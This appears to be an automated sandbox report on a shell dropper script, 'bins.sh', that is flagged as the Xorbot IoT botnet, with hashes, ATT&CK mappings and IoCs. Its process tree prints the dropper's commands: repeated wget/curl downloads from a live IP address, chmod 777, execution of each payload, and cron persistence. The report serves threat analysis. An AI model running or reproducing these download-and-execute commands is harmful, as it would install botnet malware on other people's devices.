xorbot | cb9759f6a86dc952a99cbf140162f88c7546148dbea355ac5e9744d6bd5ac7fe

Analysis

max time kernel
131s
max time network
133s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/09/2025, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250913-hypc4sxls3
SHA256 cb9759f6a86dc952a99cbf140162f88c7546148dbea355ac5e9744d6bd5ac7fe
MD5 b66afc0f6d7c1544dfbc7e606c805836
SHA1 83603b770a9a74d7bbf84bdea1fbfcd59e37da3c
SHA512 74043a9538369ea2e410d01eb1a92709c528592d11903b993407db2f3abb5c26d3fb5b60bea59d1518e19fc028abf55c4e191a53b10223c173c7acbe2f2a291f
SSDEEP 192:QvDCTT9ooNWHfDONTzU29yvDCTTEDfDONTzVX:QvDCTT91NWHfDONTzU6yvDCTTcfDONTp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

botnet defense_evasion discovery execution xorbot persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 9 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-15.dat	family_xorbot
behavioral4/files/fstream-17.dat	family_xorbot
behavioral4/files/fstream-19.dat	family_xorbot
behavioral4/files/fstream-21.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (759) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod
767	chmod
800	chmod
813	chmod
828	chmod
857	chmod
864	chmod
871	chmod
740	chmod
881	chmod
888	chmod
895	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU	741	bins.sh
/tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz	748	bins.sh
/tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i	768	bins.sh
/tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy	801	bins.sh
/tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj	814	bins.sh
/tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe	829	bins.sh
/tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v	858	bins.sh
/tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq	865	bins.sh
/tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP	872	bins.sh
/tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp	882	bins.sh
/tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM	889	bins.sh
/tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1	896	bins.sh

Renames itself 1 IoCs

pid	Process
897	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.XVnJwk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/14/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/74/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/930/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/123/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/706/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/707/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/914/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/916/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/974/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/984/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/995/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/16/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/937/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/998/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/1012/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/1/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/152/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/708/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/961/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/964/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/973/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/975/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/902/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/911/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/918/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/923/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/971/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/18/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/20/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/385/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/949/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/952/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/958/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/994/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/12/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/333/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/361/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/680/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/965/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/999/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/24/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/71/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/906/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/909/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/934/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/960/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/17/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/77/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/158/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/681/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/904/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/967/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/73/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/705/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/953/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
File opened for reading	/proc/970/cmdline	GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp	wget
File opened for modification	/tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU	wget
File opened for modification	/tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU	busybox
File opened for modification	/tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj	wget
File opened for modification	/tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe	busybox
File opened for modification	/tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq	curl
File opened for modification	/tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1	busybox
File opened for modification	/tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy	busybox
File opened for modification	/tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v	curl
File opened for modification	/tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq	busybox
File opened for modification	/tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP	curl
File opened for modification	/tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP	busybox
File opened for modification	/tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM	curl
File opened for modification	/tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM	busybox
File opened for modification	/tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz	wget
File opened for modification	/tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i	curl
File opened for modification	/tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe	wget
File opened for modification	/tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe	curl
File opened for modification	/tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp	busybox
File opened for modification	/tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1	wget
File opened for modification	/tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1	curl
File opened for modification	/tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i	busybox
File opened for modification	/tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy	curl
File opened for modification	/tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj	curl
File opened for modification	/tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj	busybox
File opened for modification	/tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v	busybox
File opened for modification	/tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP	wget
File opened for modification	/tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp	curl
File opened for modification	/tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz	curl
File opened for modification	/tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz	busybox
File opened for modification	/tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy	wget
File opened for modification	/tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU	curl
File opened for modification	/tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v	wget
File opened for modification	/tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq	wget
File opened for modification	/tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM	wget
File opened for modification	/tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  ./o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  PID:741
- /bin/rm
  rm o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
  2⤵
  PID:743
- /usr/bin/wget
  wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  ./Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  PID:748
- /bin/rm
  rm Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
  2⤵
  PID:750
- /usr/bin/wget
  wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  ./ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  PID:768
- /bin/rm
  rm ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
  2⤵
  PID:771
- /usr/bin/wget
  wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  ./quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  PID:801
- /bin/rm
  rm quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
  2⤵
  PID:804
- /usr/bin/wget
  wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  ./QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  PID:814
- /bin/rm
  rm QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
  2⤵
  PID:816
- /usr/bin/wget
  wget http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  ./oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  PID:829
- /bin/rm
  rm oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
  2⤵
  PID:833
- /usr/bin/wget
  wget http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod 777 z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  ./z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  PID:858
- /bin/rm
  rm z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
  2⤵
  PID:860
- /usr/bin/wget
  wget http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  - Writes file to tmp directory
  PID:861
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod 777 VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  ./VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  PID:865
- /bin/rm
  rm VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
  2⤵
  PID:867
- /usr/bin/wget
  wget http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod 777 syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  ./syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  PID:872
- /bin/rm
  rm syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
  2⤵
  PID:874
- /usr/bin/wget
  wget http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  - Writes file to tmp directory
  PID:875
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  - Writes file to tmp directory
  PID:880
- /bin/chmod
  chmod 777 jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  ./jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  PID:882
- /bin/rm
  rm jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
  2⤵
  PID:884
- /usr/bin/wget
  wget http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  - Writes file to tmp directory
  PID:885
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  - Writes file to tmp directory
  PID:887
- /bin/chmod
  chmod 777 3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  ./3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  PID:889
- /bin/rm
  rm 3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
  2⤵
  PID:891
- /usr/bin/wget
  wget http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  - Writes file to tmp directory
  PID:894
- /bin/chmod
  chmod 777 GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  ./GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:896
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:898
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:899
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:900
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:901
- /bin/rm
  rm GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
  2⤵
  PID:903
- /usr/bin/wget
  wget http://178.16.54.252/bins/AYbRZdhouSP0i2dOZM9pBdwG465YBeIiVp
  2⤵
  PID:906

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3r23NtuMbHou1oKcNtj6482yArhkdTcxxM

Path /tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
Size 141KB
SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
MD5 62dbad1a93a6542c18c69bb128b387a7
SHA1 f13a02f5974fe457b3cf612d6ee0301e2ef79b58
SHA512 18a75ee8e907e0d662c907c3a1b74e0f2a8b9be74bd085fcd51c1875272ee6760ae74543d461dd62d59638a51553012fdee92d9a834b009f2daceb63445695ec
SSDEEP 3072:i3otmbKcIxC3FVTvDQnaGnRuKMQP2ESmw+lHzSnqtmmytHHQRkhCalY:i3NTD2a+3P2ESmL5tmmytHHQRkhplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1

Path /tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
Size 152KB
SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
MD5 57b74f476fc4e11a894f834bbf9090ff
SHA1 ef90bec76170a9036cd084dc551182d153d2ef92
SHA512 459c555f671ca4877da451f38b4d9d9ae21e48021303924dd3f50c8722e1276e4f724317b0708cae65635fa3b691ccaddf2bb2f9d265f10a36146f2bc5e67507
SSDEEP 1536:QhXNmuGufu4zeMtMxVEVWNctKZLi9yjItfdyaX8gQ+bilbRGVUmCjXswi5d2tRxK:Q9Nm18O2V3Kq42AbIUmCjXswi5ktRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz

Path /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
Size 107KB
SHA256 fa34cf14bba7b0ef493975bfb844eba1971d9c2902b7cc3efded5e25d8c6d405
MD5 9bf0c4e804dfab8fef2337154ef97d22
SHA1 159b8d3878240515bb927b1ac4f0b3a8b85e3caa
SHA512 9fc1fddbfdfaa6866c62ab4d17a588fa19118cc3a423c8bd102e68f8d2473796a2fce81a328db37b9dd7f03310fdaf76aa5872cd0e59f5a482587938daa3b0d2
SSDEEP 3072:eE5z7kfasaQaPEkCeWihB3fmQdbZ0l135z8J:hEfmhB3fmQdbZ0lt5z8J
MD5 SHA1 SHA512 SSDEEP

Submit Download

QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj

Path /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
Size 120KB
SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
MD5 35c32e30c7317b38e24341972a0d3b84
SHA1 daa5bc30312aed05a29b04e15d3ced46c21eea21
SHA512 5ff20be205bae4ab7a190348b11dcfbf9943396f3bef40214af310d18982e3a9db8012290c8d8d567115093081650d5b37b47903f542cff8200cace04600222a
SSDEEP 3072:nPhq2lXta3rzOk3QQnL6hD1LJaMjlmtW2dS1um8RiQztvJk9zEp:PO5BnLCD1taMjuvm8RiQztv+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

